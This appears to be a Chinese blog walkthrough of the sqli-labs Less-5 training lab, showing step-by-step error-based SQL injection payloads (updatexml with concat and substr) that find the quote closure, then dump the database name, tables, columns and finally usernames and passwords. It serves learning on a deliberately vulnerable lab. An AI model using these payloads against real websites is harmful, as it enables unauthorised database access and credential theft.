SQL注入实例(sqli-labs/less-5)

0、初始页面

1、确定闭合字符

复制代码
?id=1 and 1=1 
?id=1 and 1=2
?id=1'
?id=1' --+

在进行前两句传参时,页面没有发生任何变化,但是当使用单引号闭合时,报错了。通过报错可以确定闭合符号为单引号。

2、爆库名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

3、爆表名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

4、爆列名

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e),1)--+

5、查询最终目标

复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+

因为concat有字符长度限制,所以需要substr搭配使用

复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),1,32)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),32,64)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),64,96)),0x7e),1) --+
复制代码
?id=1' and updatexml(1,concat(0x7e,(substr((select group_concat(username,0x3a,password) from users),96,128)),0x7e),1) --+
相关推荐
Geoking.11 分钟前
Redis 的 RDB 与 AOF:持久化机制全解析
数据库·redis·缓存
鱼跃鹰飞40 分钟前
面试题:说一说redis和Memcached的区别
数据库·redis·memcached
深念Y1 小时前
中兴微随身WiFi 板号UZ901_v1.6 影腾Y1新版本 增加SIM卡槽 开启ADB 去云控 改串号教程 下
数据库·adb
顾西爵霞1 小时前
远程访问centos7并连接Mariadb
数据库·centos·mariadb
m0_748229991 小时前
Laravel7.x核心特性全解析
c语言·数据库·c#
weixin_436525071 小时前
若依多租户版: 页面新增菜单, 执行菜单SQL
前端·数据库·sql
2601_949868361 小时前
Flutter for OpenHarmony 电子合同签署App实战 - 数据持久化实现
java·数据库·flutter
无心水1 小时前
数据库字符串类型详解:VARCHAR、VARCHAR2、CHARACTER VARYING的区别与选择指南
数据库·后端·varchar·varchar2·character·字符串类型·2025博客之星
KIN_DIN1 小时前
数据库索引
数据库·oracle
代码N年归来仍是新手村成员1 小时前
DynamoDB 速通
数据库·nosql·aws